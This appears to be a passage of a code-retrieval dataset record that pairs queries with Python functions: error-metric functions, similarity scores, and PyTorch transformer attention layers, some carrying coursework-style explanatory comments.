Values below minimum lidar distance are ascribed the minimum error\\n errors[data <= self.min_error_dist] = self.min_error\\n\\n # Values above minimum have erros calculated by proportion of their value\\n errors[data > self.min_error_dist] = data[data > self.min_error_dist] * self.error_prop\\n return errors\",\n \"def calculate_error(self, estimated_x, estimated_y):\\n\\n return np.sqrt((self.ball_x - estimated_x) ** 2 + (self.ball_y - estimated_y) ** 2)\",\n \"def model_error(self):\\n return self.premium() / self.data['premium'] - 1\",\n \"def error_func(x, a0, a1, a2, a3):\\n return (a0 / 2) * sp.special.erfc((a1 - x) / a2) + a3\",\n \"def volume_error(self) -> float:\\n # TODO written formula and executed formula are different.\\n ve = np.sum(self.predicted - self.true) / np.sum(self.true)\\n return float(ve)\",\n \"def get_error_rates():\\n return [ERR_RT * i for i in range(int((1 / ERR_RT) / 4))] # error up to 25%\",\n \"def error(clf, X, y, ntrials=100, t_s=0.2) :\\n \\n ### ========== TODO : START ========== ###\\n # compute cross-validation error over ntrials\\n # hint: use train_test_split (be careful of the parameters)\\n \\n train_error = 0\\n test_error = 0 \\n for i in range(ntrials):\\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=t_s, random_state=i)\\n clf.fit(X_train, y_train)\\n y_pred_train = clf.predict(X_train)\\n y_pred_test = clf.predict(X_test)\\n train_error += (1 - metrics.accuracy_score(y_train, y_pred_train, normalize=True))\\n test_error += (1 - metrics.accuracy_score(y_test, y_pred_test, normalize=True))\\n train_error /= ntrials\\n test_error /= ntrials \\n ### ========== TODO : END ========== ###\\n \\n return train_error, test_error\",\n \"def tracking_error(benchmark_returns_by_date, etf_returns_by_date):\\n series_ret=(etf_returns_by_date)-(benchmark_returns_by_date)\\n stdev=series_ret.std()\\n Tracking_error=np.sqrt(252)*stdev\\n assert benchmark_returns_by_date.index.equals(etf_returns_by_date.index)\\n \\n #TODO: Implement function\\n\\n return Tracking_error\",\n \"def calculate_td_error(self, old_state, new_state, reward):\\n\\n output = self.net(self.state_tensor_convert(old_state))\\n target = self.gamma * self.net(self.state_tensor_convert(new_state)) + reward\\n self.loss = self.net.loss(output,target)\\n return float(target-output)\",\n \"def error(self, X, y):\\n y_hat = self.predict(X)\\n y = np.array(y)\\n return sum(y[i] != y_hat[i] for i in range(len(y))) / len(y)\",\n \"def error_in_assigned_energy(predictions, ground_truth):\\n errors = {}\\n both_sets_of_meters = iterate_through_submeters_of_two_metergroups(\\n predictions, ground_truth)\\n for pred_meter, ground_truth_meter in both_sets_of_meters:\\n sections = pred_meter.good_sections()\\n ground_truth_energy = ground_truth_meter.total_energy(sections=sections)\\n predicted_energy = pred_meter.total_energy(sections=sections)\\n errors[pred_meter.instance()] = np.abs(ground_truth_energy - predicted_energy)\\n return pd.Series(errors)\",\n \"def relative_error(Eth_original, Eph_original,Eth_model, Eph_model,theta, phi, dsf=1,kf=-1):\\n\\n st = np.sin(theta).reshape((len(theta), 1))\\n #\\n # Construct difference between reference and reconstructed\\n #\\n if kf!=-1:\\n dTh = (Eth_model[kf, :, :] - Eth_original[kf, ::dsf, ::dsf])\\n dPh = (Eph_model[kf, :, :] - Eph_original[kf, ::dsf, ::dsf])\\n #\\n # squaring + Jacobian\\n #\\n dTh2 = np.real(dTh * np.conj(dTh)) * st\\n dPh2 = np.real(dPh * np.conj(dPh)) * st\\n\\n vTh2 = np.real(Eth_original[kf, ::dsf, ::dsf] \\\\\\n * np.conj(Eth_original[kf, ::dsf, ::dsf])) * st\\n vPh2 = np.real(Eph_original[kf, ::dsf, ::dsf] \\\\\\n * np.conj(Eph_original[kf, ::dsf, ::dsf])) * st\\n\\n mvTh2 = np.sum(vTh2)\\n mvPh2 = np.sum(vPh2)\\n\\n errTh = np.sum(dTh2)\\n errPh = np.sum(dPh2)\\n else:\\n dTh = (Eth_model[:, :, :] - Eth_original[:, ::dsf, ::dsf])\\n dPh = (Eph_model[:, :, :] - Eph_original[:, ::dsf, ::dsf])\\n #\\n # squaring + Jacobian\\n #\\n dTh2 = np.real(dTh * np.conj(dTh)) * st\\n dPh2 = np.real(dPh * np.conj(dPh)) * st\\n\\n vTh2 = np.real(Eth_original[:, ::dsf, ::dsf] \\\\\\n * np.conj(Eth_original[:, ::dsf, ::dsf])) * st\\n vPh2 = np.real(Eph_original[:, ::dsf, ::dsf] \\\\\\n * np.conj(Eph_original[:, ::dsf, ::dsf])) * st\\n\\n mvTh2 = np.sum(vTh2)\\n mvPh2 = np.sum(vPh2)\\n\\n errTh = np.sum(dTh2)\\n errPh = np.sum(dPh2)\\n\\n errelTh = (errTh / mvTh2)\\n errelPh = (errPh / mvPh2)\\n errel =( (errTh + errPh) / (mvTh2 + mvPh2))\\n\\n return(errelTh, errelPh, errel)\",\n \"def calculateErrorRate(numCorrect, numWrong):\\n return np.round((numWrong)/(numCorrect+numWrong),3)\",\n \"def error_rate(self):\\n\\n\\t\\treturn theano.tensor.mean(theano.tensor.neq(\\n\\t\\t\\tself.get_symbolic_predicted_labels(),\\n\\t\\t\\tself.symbolic_output))\",\n \"def __error(self,node_set):\\n error=0\\n for n in node_set:\\n if(n.seq_num!=0):\\n error+=LA.norm(n.node_vol-node_set[n.neighbor.parent].node_vol-n.impedance*n.branch_cur)\\n #print n.node_vol, '\\\\n', node_set[n.neighbor.parent].node_vol\\n \\n return error\",\n \"def error_function(\\n actual_heating_rates_k_day01, predicted_hr_matrix_k_day01,\\n use_example_flags):\\n\\n mean_pred_heating_rates_k_day01 = numpy.mean(\\n predicted_hr_matrix_k_day01[use_example_flags, :], axis=-1\\n )\\n\\n weights_k_day01 = numpy.maximum(\\n numpy.absolute(mean_pred_heating_rates_k_day01),\\n numpy.absolute(actual_heating_rates_k_day01[use_example_flags])\\n )\\n squared_errors = (\\n mean_pred_heating_rates_k_day01 -\\n actual_heating_rates_k_day01[use_example_flags]\\n ) ** 2\\n\\n return numpy.mean(weights_k_day01 * squared_errors)\",\n \"def numerical_discretization_error(h,phi,verbose=True):\\n \\n # Constants\\n F_s = 1.25\\n C_low = 0.95\\n C_hi = 3.05\\n delta_M = max(abs(phi[1]-phi[0]),abs(phi[2]-phi[1]),abs(phi[2]-phi[0]))\\n \\n # Mesh refinement ratios\\n r21 = h[1]/h[0]\\n r32 = h[2]/h[1]\\n \\n # Result ratios\\n eps21 = phi[1] - phi[0]\\n eps32 = phi[2] - phi[1]\\n \\n error = {}\\n \\n # Check for oscillatory convergence\\n if eps32/eps21 < 0.0:\\n if verbose:\\n print(\\\"WARNING: Oscillatory convergence\\\")\\n error[\\\"Computed apparent order\\\"] = 'NA'\\n error[\\\"Relative fine-grid error\\\"] = abs((phi[0]-phi[1])/phi[0])\\n error[\\\"Extrapolated value\\\"] = 'NA'\\n error[\\\"Extrapolated relative fine-grid error\\\"] = 'NA'\\n error[\\\"Fine-grid convergence index\\\"] = 'NA'\\n error[\\\"Fine-grid convergence index, Corrected\\\"] = 3.0*delta_M/abs(phi[0])\\n error[\\\"Error Code\\\"] = 1\\n return error\\n \\n # Solve for apparent order\\n p = fsolve(order_function,2,(r32,r21,eps32,eps21))\\n p = p[0]\\n \\n # ASME Guidelines\\n \\n error[\\\"Computed apparent order\\\"] = p\\n error[\\\"Relative fine-grid error\\\"] = abs((phi[0]-phi[1])/phi[0])\\n error[\\\"Extrapolated value\\\"] = (phi[0]*r21**p - phi[1])/(r21**p-1)\\n error[\\\"Extrapolated relative fine-grid error\\\"] = abs((error[\\\"Extrapolated value\\\"]-phi[0])/error[\\\"Extrapolated value\\\"])\\n error[\\\"Fine-grid convergence index\\\"] = F_s*error[\\\"Relative fine-grid error\\\"]/(r21**p - 1)\\n error[\\\"Error Code\\\"] = 0\\n \\n # Extension to ASME Guidelines as presented in https://turbmodels.larc.nasa.gov/uncertainty_summary.pdf\\n \\n if p < 0.0:\\n if verbose:\\n print(\\\"WARNING: Negative apparent order\\\")\\n error[\\\"Fine-grid convergence index, Corrected\\\"] = 3.0*delta_M/abs(phi[0])\\n error[\\\"Error Code\\\"] = 2\\n \\n if p < C_low and p > 0.0:\\n if verbose:\\n print(\\\"WARNING: Apparent order is less than \\\" + str(C_low))\\n error[\\\"Fine-grid convergence index, Corrected\\\"] = min(error[\\\"Fine-grid convergence index\\\"],F_s*delta_M/abs(phi[0]))\\n error[\\\"Error Code\\\"] = 3\\n elif p > C_hi:\\n if verbose:\\n print(\\\"WARNING: Apparent order is greater than \\\" + str(C_hi))\\n error[\\\"Fine-grid convergence index, Corrected\\\"] = min(F_s*error[\\\"Relative fine-grid error\\\"]/(r21**C_hi - 1),F_s*delta_M/abs(phi[0]))\\n error[\\\"Error Code\\\"] = 4\\n \\n return error\",\n \"def error_MSE(resid):\\n if resid.ndim == 2:\\n return (norm(np.asarray(resid).ravel())**2)/float(resid.shape[1])\\n elif resid.ndim == 1:\\n return (norm(np.asarray(resid).ravel())**2)\\n else:\\n raise Exception(\\\"array passed to error_MSE has incorrect shape\\\")\",\n \"def inrse(self) -> float:\\n return float(np.sqrt(np.sum(np.square(self._error())) / np.sum(np.square(self.true - np.mean(self.true)))))\",\n \"def renormalize_test12_error_corrected_input(k, N, s,v, ds, dv):\\n\\n cprint(__name__ + f'.renormalize_test12_error_corrected_input: \\\\n', 'yellow')\\n print(f'specificity s: {s:0.6} +- {ds:0.6e} [{ds/s*100:0.3e}] %')\\n print(f'sensitivity v: {v:0.6} +- {dv:0.6e} [{dv/v*100:0.3e}] %')\\n print('')\\n \\n # -------------------------------------------\\n # Compute the prevalance\\n p = k / N\\n\\n # Pure binomial Wilson error on this rate\\n err = wilson_err(k=k, n=N, z=1)\\n dp_orig = (err[1] - err[0])/2 # Turn into one sigma equivalent\\n\\n print(f'p = {k} / {N} = {p:0.5f}')\\n print(f'dp_orig = {dp_orig:0.5f} [relative dp_orig/p = {dp_orig/p:0.5f}]')\\n\\n # -------------------------------------------\\n # Do the type I and II error inversion\\n\\n # Compute backwards: find out the corresponding raw rate\\n q = inv_cor2raw(p=p, s=s, v=v)\\n err = wilson_err(k=np.round(q*N), n=N, z=1)\\n dq = (err[1] - err[0])/2 # Turn into one sigma equivalent\\n\\n # Propagate errors\\n dp_new = inv_p_error(q=q,s=s,v=v, dq=dq,ds=ds,dv=dv)\\n\\n print(f'q = {np.round(q*N)} / {N} = {q:0.5f}')\\n print(f'dq = {dq:0.5f} [relative dq/q = {dq/q:0.5f}]')\\n print(f'dp_new = {dp_new:0.5f} [relative dp_new/p = {dp_new/p:0.5f}] (after error propagation)')\\n print(f' => Relative increases in 1-sigma error ')\\n print(f' (dp_new - dp_orig) / p = {(dp_new - dp_orig)/p * 100:0.1f} %')\\n print(f' (dp_new / dp_orig - 1) = {(dp_new / dp_orig-1) * 100:0.1f} %')\\n print(f' sqrt[(dp_new/p)^2 - (dp_orig/p)^2] = {np.sqrt((dp_new/p)**2 - (dp_orig/p)**2) * 100:0.1f} %')\\n print('\\\\n')\\n\\n return dp_new, dp_orig\",\n \"def med_seq_error(self) -> float:\\n return float(np.median((self.predicted - self.true) ** 2))\",\n \"def mae(t, y):\\n\\treturn mean_absolute_error(t, y)\",\n \"def average_error_to_weight(error):\\r\\n return error ** (-2)\",\n \"def compare_error_bounds( model_fname, log_fname, delta = 0.1 ):\\n gmm = GaussianMixtureModel.from_file( model_fname )\\n k, d, M, w = gmm.k, gmm.d, gmm.means, gmm.weights\\n\\n P, T = exact_moments( M, w )\\n\\n lg = sc.load( log_fname )\\n\\n # TODO: Use concentration bounds on aerr_P12\\n n_M, sk_M = lg[\\\"norm_M_2\\\"], lg[\\\"s_k_M\\\"], \\n e_P, e_T = lg[\\\"aerr_P_2\\\"], lg[\\\"aerr_T\\\"], \\n n_P, sk_P, n_T = lg[\\\"norm_Pe_2\\\"], lg[\\\"s_k_P\\\"], lg[\\\"norm_Te\\\"]\\n w_min = min(w)\\n\\n # TODO: Ah, not computing sigma2! \\n\\n # alpha_P and \\\\beta_P\\n a_P = e_P/sk_P\\n b_P = a_P/(1-a_P)\\n\\n e_Wb = 2/sqrt(sk_P) * b_P\\n e_W = lg[\\\"aerr_W_2\\\"]\\n\\n e_Twb = 1/sqrt(sk_M * (1-a_P)) * e_T + n_T/sk_M * (1 + 1/sqrt(1-a_P) + 1/(1-a_P)) * e_W\\n e_Tw = lg[\\\"aerr_Tw\\\"]\\n\\n e_Lb = e_Tw\\n e_L = lg[\\\"aerr_lambda\\\"]\\n\\n D_M = column_sep( M )\\n D_Tw = delta/(sqrt(sc.e) * k**2 * (1+sqrt(2 * log(k/delta)))) * D_M\\n e_vb = 4 * sqrt(2) * e_Tw / D_Tw\\n e_v = lg[\\\"aerr_v_col\\\"]\\n\\n e_Wtb = 2 * sqrt( n_P + e_P ) * b_P\\n n_Wtb = sqrt( n_P + e_P )\\n\\n e_mub = e_Lb + (1+1/sqrt(w_min)) * n_Wtb * e_vb + e_Wtb\\n e_mu = lg[\\\"aerr_M_col\\\"]\\n\\n print \\\"A\\\\t\\\\tbound\\\\t\\\\tactual\\\"\\n print \\\"W\\\\t\\\\t%f\\\\t\\\\t%f\\\" % (e_Wb, e_W)\\n print \\\"Tw\\\\t\\\\t%f\\\\t\\\\t%f\\\" % (e_Twb, e_Tw)\\n print \\\"L\\\\t\\\\t%f\\\\t\\\\t%f\\\" % (e_Lb, e_L)\\n print \\\"v\\\\t\\\\t%f\\\\t\\\\t%f\\\" % (e_vb, e_v)\\n print \\\"mu\\\\t\\\\t%f\\\\t\\\\t%f\\\" % (e_mub, e_mu)\\n return [(e_W/e_Wb), (e_Tw/e_Twb), (e_L / e_Lb), (e_v/e_vb), (e_mu / e_mub),]\",\n \"def yerr(self, i):\\n return self.errors[1][i]\",\n \"def error_j(Dj,Pap,Pec,QBERI,exp_loss_jt):\\n return Pec + (0.5*Pap*Dj) + QBERI*(1 - exp_loss_jt)\",\n \"def evaluation_error(y_real, y_pred, max_rating, min_rating):\\n mae = mean_absolute_error(y_real, y_pred)\\n nmae = normalized_mean_absolute_error(y_real, y_pred,\\n max_rating, min_rating)\\n rmse = root_mean_square_error(y_real, y_pred)\\n\\n return mae, nmae, rmse\",\n \"def mean_error(self) -> float:\\n self.ME = sum(np.array(self.sim_data[\\\"Human (mean)\\\"]) - np.array(self.sim_data[\\\"assigned_sim\\\"])) / len(self.sim_data)\\n return self.ME\",\n \"def error(x, xant):\\n return normaInfinito(restar_vectores(x, xant)) / normaInfinito(x)\",\n \"def average_error(state_edges_predicted, state_edges_actual):\\r\\n\\r\\n d1 = state_edges_predicted #Assign the predicted state edges to a variable\\r\\n length = list(state_edges_predicted.values()) #Create a list of the predicted state edge values\\r\\n z = len(length) #Find the number of elements in the list \\\"length\\\"\\r\\n d2 = state_edges_actual #Assign the actual state edge values to a variable\\r\\n d3 = {} #Create an empty dictionary\\r\\n\\r\\n for k, v in d1.items(): \\r\\n d3[k] = v - d2.get(k, 0) #Find the difference between the predicted values and the actual values\\r\\n\\r\\n list1 = list(d3.values()) #Assign the differences to a list\\r\\n x = list(map(abs, list1)) #Take the absolute value of the differences\\r\\n a = sum(x) #Take the sum of the new values\\r\\n\\r\\n return a/z #Calculate the average of all the errors\\r\",\n \"def _calculate_error(self, targets):\\n\\n def hist(d):\\n f, v = histogram(array(d))\\n i = len(f) if argmax(f) == len(f) - 1 else argmax(f)\\n return v[i]\\n\\n devxs, devys = list(zip(*[r.dev_centroid for r in targets]))\\n\\n if len(targets) > 2 and self.use_histogram:\\n dx = hist(devxs)\\n dy = hist(devys)\\n else:\\n\\n def avg(s):\\n return sum(s) / len(s)\\n\\n dx = avg(devxs)\\n dy = avg(devys)\\n\\n return -dx, dy\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.69430315","0.69430315","0.6911518","0.6877277","0.68557733","0.6848958","0.68399894","0.6835873","0.6823637","0.68171746","0.6803245","0.68006253","0.6743161","0.6693619","0.66766125","0.66423595","0.6633245","0.6627338","0.6619845","0.6579423","0.65755063","0.6574192","0.65671027","0.65569997","0.6548544","0.65423864","0.6524483","0.65016955","0.6495753","0.6476767","0.6476243","0.64533615","0.6450758","0.6445884","0.6431179","0.6412597","0.6412183","0.64070123","0.6400131","0.63981","0.6387072","0.63633114","0.6356574","0.63316005","0.63231087","0.6318793","0.6312063","0.6306657","0.6301924","0.6299873","0.6296226","0.62952375","0.6279686","0.62784","0.6263758","0.62598914","0.62343216","0.6219195","0.6212357","0.62103444","0.6208309","0.6202594","0.6199878","0.6194373","0.61873055","0.6186818","0.61830175","0.6177388","0.6175306","0.61689144","0.6162368","0.61563027","0.61543155","0.61542964","0.61468905","0.61412686","0.6132086","0.61278045","0.6126548","0.61113846","0.6099129","0.6096485","0.60958254","0.6094271","0.6085755","0.60835904","0.60691124","0.60637647","0.60626704","0.6059581","0.60589474","0.605731","0.6035416","0.60347974","0.60312045","0.6029934","0.6028737","0.6026245","0.602521","0.6022567","0.60091937"],"string":"[\n \"0.69430315\",\n \"0.69430315\",\n \"0.6911518\",\n \"0.6877277\",\n \"0.68557733\",\n \"0.6848958\",\n \"0.68399894\",\n \"0.6835873\",\n \"0.6823637\",\n \"0.68171746\",\n \"0.6803245\",\n \"0.68006253\",\n \"0.6743161\",\n \"0.6693619\",\n \"0.66766125\",\n \"0.66423595\",\n \"0.6633245\",\n \"0.6627338\",\n \"0.6619845\",\n \"0.6579423\",\n \"0.65755063\",\n \"0.6574192\",\n \"0.65671027\",\n \"0.65569997\",\n \"0.6548544\",\n \"0.65423864\",\n \"0.6524483\",\n \"0.65016955\",\n \"0.6495753\",\n \"0.6476767\",\n \"0.6476243\",\n \"0.64533615\",\n \"0.6450758\",\n \"0.6445884\",\n \"0.6431179\",\n \"0.6412597\",\n \"0.6412183\",\n \"0.64070123\",\n \"0.6400131\",\n \"0.63981\",\n \"0.6387072\",\n \"0.63633114\",\n \"0.6356574\",\n \"0.63316005\",\n \"0.63231087\",\n \"0.6318793\",\n \"0.6312063\",\n \"0.6306657\",\n \"0.6301924\",\n \"0.6299873\",\n \"0.6296226\",\n \"0.62952375\",\n \"0.6279686\",\n \"0.62784\",\n \"0.6263758\",\n \"0.62598914\",\n \"0.62343216\",\n \"0.6219195\",\n \"0.6212357\",\n \"0.62103444\",\n \"0.6208309\",\n \"0.6202594\",\n \"0.6199878\",\n \"0.6194373\",\n \"0.61873055\",\n \"0.6186818\",\n \"0.61830175\",\n \"0.6177388\",\n \"0.6175306\",\n \"0.61689144\",\n \"0.6162368\",\n \"0.61563027\",\n \"0.61543155\",\n \"0.61542964\",\n \"0.61468905\",\n \"0.61412686\",\n \"0.6132086\",\n \"0.61278045\",\n \"0.6126548\",\n \"0.61113846\",\n \"0.6099129\",\n \"0.6096485\",\n \"0.60958254\",\n \"0.6094271\",\n \"0.6085755\",\n \"0.60835904\",\n \"0.60691124\",\n \"0.60637647\",\n \"0.60626704\",\n \"0.6059581\",\n \"0.60589474\",\n \"0.605731\",\n \"0.6035416\",\n \"0.60347974\",\n \"0.60312045\",\n \"0.6029934\",\n \"0.6028737\",\n \"0.6026245\",\n \"0.602521\",\n \"0.6022567\",\n \"0.60091937\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":14493,"cells":{"query":{"kind":"string","value":"Self attention layer with memory layernorm > attn > dropout > residual"},"document":{"kind":"string","value":"def forward(self, input_, context, pos_emb, mask_tgt, mask_src, mems=None,\n incremental=False, incremental_cache=None):\n # incremental=False, incremental_cache=None, reuse_source=True):\n assert context is None, \"This model does not have an context encoder\"\n\n coin = True\n if self.training and self.death_rate > 0:\n coin = (torch.rand(1)[0].item() >= self.death_rate)\n\n if coin:\n # input and context should be time first ?\n query = self.preprocess_attn(input_)\n\n if mems is not None and mems.size(0) > 0:\n mems = self.preprocess_attn(mems)\n else:\n mems = None\n\n # out, _ = self.multihead_tgt(query, pos_emb, r_w_bias, r_r_bias, attn_mask=mask_tgt)\n out, _, incremental_cache = self.multihead_tgt(query, pos_emb, attn_mask=mask_tgt, mems=mems,\n incremental=incremental, incremental_cache=incremental_cache)\n\n # rescaling before residual\n if self.training and self.death_rate > 0:\n out = out / (1 - self.death_rate)\n\n input_ = self.postprocess_attn(out, input_)\n\n \"\"\" Context Attention layer \n layernorm > attn > dropout > residual\n \"\"\"\n\n coverage = None\n\n \"\"\" Feed forward layer \n layernorm > ffn > dropout > residual\n \"\"\"\n out = self.feedforward(self.preprocess_ffn(input_))\n\n # rescaling before residual\n if self.training and self.death_rate > 0:\n out = out / (1 - self.death_rate)\n\n input_ = self.postprocess_ffn(out, input_)\n else:\n coverage = None\n\n if incremental:\n return input_, coverage, incremental_cache\n\n return input_, coverage"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def forward(\n self,\n x: torch.Tensor,\n self_attn_mask: torch.Tensor = None,\n self_attn_padding_mask: torch.Tensor = None,\n need_weights: bool = False,\n pos_bias=None\n ):\n residual = x\n\n if self.layer_norm_first:\n x = self.self_attn_layer_norm(x)\n x, attn, pos_bias = self.self_attn(\n query=x,\n key=x,\n value=x,\n key_padding_mask=self_attn_padding_mask,\n need_weights=False,\n attn_mask=self_attn_mask,\n position_bias=pos_bias\n )\n x = self.dropout1(x)\n x = residual + x\n\n residual = x\n x = self.final_layer_norm(x)\n if self.activation_name == \"glu\":\n x = self.fc1(x)\n else:\n x = self.activation_fn(self.fc1(x))\n x = self.dropout2(x)\n x = self.fc2(x)\n x = self.dropout3(x)\n x = residual + x\n else:\n x, attn, pos_bias = self.self_attn(\n query=x,\n key=x,\n value=x,\n key_padding_mask=self_attn_padding_mask,\n need_weights=need_weights,\n attn_mask=self_attn_mask,\n position_bias=pos_bias\n )\n\n x = self.dropout1(x)\n x = residual + x\n\n x = self.self_attn_layer_norm(x)\n\n residual = x\n if self.activation_name == \"glu\":\n x = self.fc1(x)\n else:\n x = self.activation_fn(self.fc1(x))\n x = self.dropout2(x)\n x = self.fc2(x)\n x = self.dropout3(x)\n x = residual + x\n x = self.final_layer_norm(x)\n\n return x, attn, pos_bias","def forward(self, x, mask):\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))\n #print('encoder')\n #print(x.shape)\n return self.sublayer[1](x, self.feed_forward)","def forward(self, state, encoder_padding_mask):\n residual = state.clone()\n\n '''\n ___QUESTION-6-DESCRIBE-D-START___\n What is the purpose of encoder_padding_mask? What will the output shape of `state' Tensor \n be after multi-head attention? HINT: formulate your answer in terms of \n constituent variables like batch_size, embed_dim etc...\n '''\n '''\n The encoder padding mask is used to mask the ⟨pad⟩ token which is padded to the input sequences to make the sequences in the same lengths each batch. Thus the word of input sequence will not pay attention to these padded tokens.\n The shape of state is (tgt_time_steps * batch_size * embed_dim)\n '''\n state, _ = self.self_attn(query=state, key=state, value=state, key_padding_mask=encoder_padding_mask)\n '''\n ___QUESTION-6-DESCRIBE-D-END___\n '''\n\n state = F.dropout(state, p=self.dropout, training=self.training)\n state += residual\n state = self.self_attn_layer_norm(state)\n\n residual = state.clone()\n state = F.relu(self.fc1(state))\n state = F.dropout(state, p=self.activation_dropout, training=self.training)\n state = self.fc2(state)\n state = F.dropout(state, p=self.dropout, training=self.training)\n state += residual\n state = self.final_layer_norm(state)\n\n return state","def forward(self,\n state,\n encoder_out=None,\n encoder_padding_mask=None,\n incremental_state=None,\n prev_self_attn_state=None,\n self_attn_mask=None,\n self_attn_padding_mask=None,\n need_attn=False,\n need_head_weights=False):\n\n # need_attn must be True if need_head_weights\n need_attn = True if need_head_weights else need_attn\n print('encoder padding {}, self padding {}'.format(encoder_padding_mask, self_attn_padding_mask.size()))\n residual = state.clone()\n # print('self attention')\n state, _ = self.self_attn(query=state,\n key=state,\n value=state,\n key_padding_mask=self_attn_padding_mask,\n need_weights=False,\n attn_mask=self_attn_mask)\n state = F.dropout(state, p=self.dropout, training=self.training)\n state += residual\n state = self.self_attn_layer_norm(state)\n\n residual = state.clone()\n '''\n ___QUESTION-6-DESCRIBE-E-START___\n How does encoder attention differ from self attention? What is the difference between key_padding_mask \n and attn_mask? If you understand this difference, then why don't we need to give attn_mask here?\n '''\n '''\n The encoder attention is making the target input word pay attention to the source sequence from encoder, while the self attention is making the input word pay attention to the words in other positions of the input sequence.\n The key_padding mask masks padded tokens ⟨pad⟩ so the model does not attend to these positions, while the attn mask masks the following tokens at each position to ensure the decoder do not look forward into the sequence.\n In encoder attention, we want the decoder to pay attention to the entire source sequence. The attn mask is not needed to mask the subsequent positions because it is not paying attention to itself.\n\n '''\n # print('encoder attention')\n state, attn = self.encoder_attn(query=state,\n key=encoder_out,\n value=encoder_out,\n key_padding_mask=encoder_padding_mask,\n need_weights=need_attn or (not self.training and self.need_attn))\n '''\n ___QUESTION-6-DESCRIBE-E-END___\n '''\n\n state = F.dropout(state, p=self.dropout, training=self.training)\n state += residual\n state = self.encoder_attn_layer_norm(state)\n\n residual = state.clone()\n state = F.relu(self.fc1(state))\n state = F.dropout(state, p=self.activation_dropout, training=self.training)\n state = self.fc2(state)\n state = F.dropout(state, p=self.dropout, training=self.training)\n state += residual\n state = self.final_layer_norm(state)\n\n return state, attn","def forward(self, state, encoder_padding_mask):\n residual = state.clone()\n\n '''\n ___QUESTION-6-DESCRIBE-D-START___\n What is the purpose of encoder_padding_mask? What will the output shape of `state' Tensor\n be after multi-head attention? HINT: formulate your answer in terms of\n constituent variables like batch_size, embed_dim etc...\n\n The purpose of encoder_padding_mask is to account for the fact that the\n source sentences in the batch are of different length. The output shape\n of state tensor will be [src_time_steps, batch_size, embed_dim].\n '''\n state, _ = self.self_attn(query=state, key=state, value=state, key_padding_mask=encoder_padding_mask)\n '''\n ___QUESTION-6-DESCRIBE-D-END___\n '''\n\n state = F.dropout(state, p=self.dropout, training=self.training)\n state += residual\n state = self.self_attn_layer_norm(state)\n\n residual = state.clone()\n state = F.relu(self.fc1(state))\n state = F.dropout(state, p=self.activation_dropout, training=self.training)\n state = self.fc2(state)\n state = F.dropout(state, p=self.dropout, training=self.training)\n state += residual\n state = self.final_layer_norm(state)\n\n return state","def __init__(self, inp, oup, kernel_size=3, stride=1, expand_ratio = 6, transform_mode='conv2d'):\n super(SpatialSelfAttention, self).__init__()\n assert stride in [1, 2]\n\n hidden_dim = round(inp * expand_ratio)\n self.expand_ratio = expand_ratio\n self.identity = stride == 1 and inp == oup\n self.inp, self.oup = inp, oup\n self.high_dim_id = False\n\n if self.expand_ratio != 1:\n self.conv_exp = nn.Conv2d(inp, hidden_dim, 1, 1, 0, bias=False)\n self.bn1 = nn.BatchNorm2d(hidden_dim)\n if transform_mode == 'none':\n self.depth_sep_conv = nn.Conv2d(hidden_dim, hidden_dim, (kernel_size,kernel_size), (stride,stride), (1,1), groups=hidden_dim, bias=False)\n elif transform_mode == 'conv3d':\n self.row_conv = nn.Sequential(\n SpatialConv3d(hidden_dim, hidden_dim, kernel_size, reshape_dim=0, groups=hidden_dim),\n nn.BatchNorm2d(hidden_dim),\n nn.ReLU6(inplace=True)\n )\n elif transform_mode == 'conv2d':\n self.row_conv = nn.Sequential(\n SpatialConv2d(hidden_dim, hidden_dim, kernel_size, reshape_dim=0, groups=hidden_dim),\n nn.BatchNorm2d(hidden_dim),\n nn.ReLU6(inplace=True)\n )\n elif transform_mode == 'conv2+1d':\n self.row_conv = nn.Sequential(\n SpatialConv2d(hidden_dim, hidden_dim, kernel_size, reshape_dim=0, groups=hidden_dim),\n nn.BatchNorm2d(hidden_dim),\n nn.ReLU6(inplace=True),\n SpatialConv2d(hidden_dim, hidden_dim, kernel_size=(kernel_size[0], 1), reshape_dim=1, groups=hidden_dim),\n nn.BatchNorm2d(hidden_dim),\n nn.ReLU6(inplace=True)\n )\n # self.bn2 = nn.BatchNorm2d(hidden_dim)\n\n self.conv_pro = nn.Conv2d(hidden_dim, oup, 1, 1, 0, bias=False)\n self.bn3 = nn.BatchNorm2d(oup)\n\n self.relu = nn.ReLU6(inplace=True)","def forward(self, input):\n x = self.emb(input)\n output = self.attention(x)\n # print(\"Idggfghrf \", output.size())\n return output","def forward(self,\n state,\n encoder_out=None,\n encoder_padding_mask=None,\n incremental_state=None,\n prev_self_attn_state=None,\n self_attn_mask=None,\n self_attn_padding_mask=None,\n need_attn=False,\n need_head_weights=False):\n\n # need_attn must be True if need_head_weights\n need_attn = True if need_head_weights else need_attn\n\n residual = state.clone()\n state, _ = self.self_attn(query=state,\n key=state,\n value=state,\n key_padding_mask=self_attn_padding_mask,\n need_weights=False,\n attn_mask=self_attn_mask)\n state = F.dropout(state, p=self.dropout, training=self.training)\n state += residual\n state = self.self_attn_layer_norm(state)\n\n residual = state.clone()\n '''\n ___QUESTION-6-DESCRIBE-E-START___\n How does encoder attention differ from self attention? What is the difference between key_padding_mask\n and attn_mask? If you understand this difference, then why don't we need to give attn_mask here?\n\n Encoder attention differs from self-attention in that it attends to the\n output embeddings of the encoder instead of the embeddings in the decoder.\n key_padding_mask is used to adjust the length of the sentences, whereas\n attn_mask prevents the decoder from attending to future positions.\n We do not use attn_mask while attending to the decoder since we want all\n the embeddings in the decoder to have access to all the encoder output\n embeddings.\n '''\n state, attn = self.encoder_attn(query=state,\n key=encoder_out,\n value=encoder_out,\n key_padding_mask=encoder_padding_mask,\n need_weights=need_attn or (not self.training and self.need_attn))\n '''\n ___QUESTION-6-DESCRIBE-E-END___\n '''\n\n state = F.dropout(state, p=self.dropout, training=self.training)\n state += residual\n state = self.encoder_attn_layer_norm(state)\n\n residual = state.clone()\n state = F.relu(self.fc1(state))\n state = F.dropout(state, p=self.activation_dropout, training=self.training)\n state = self.fc2(state)\n state = F.dropout(state, p=self.dropout, training=self.training)\n 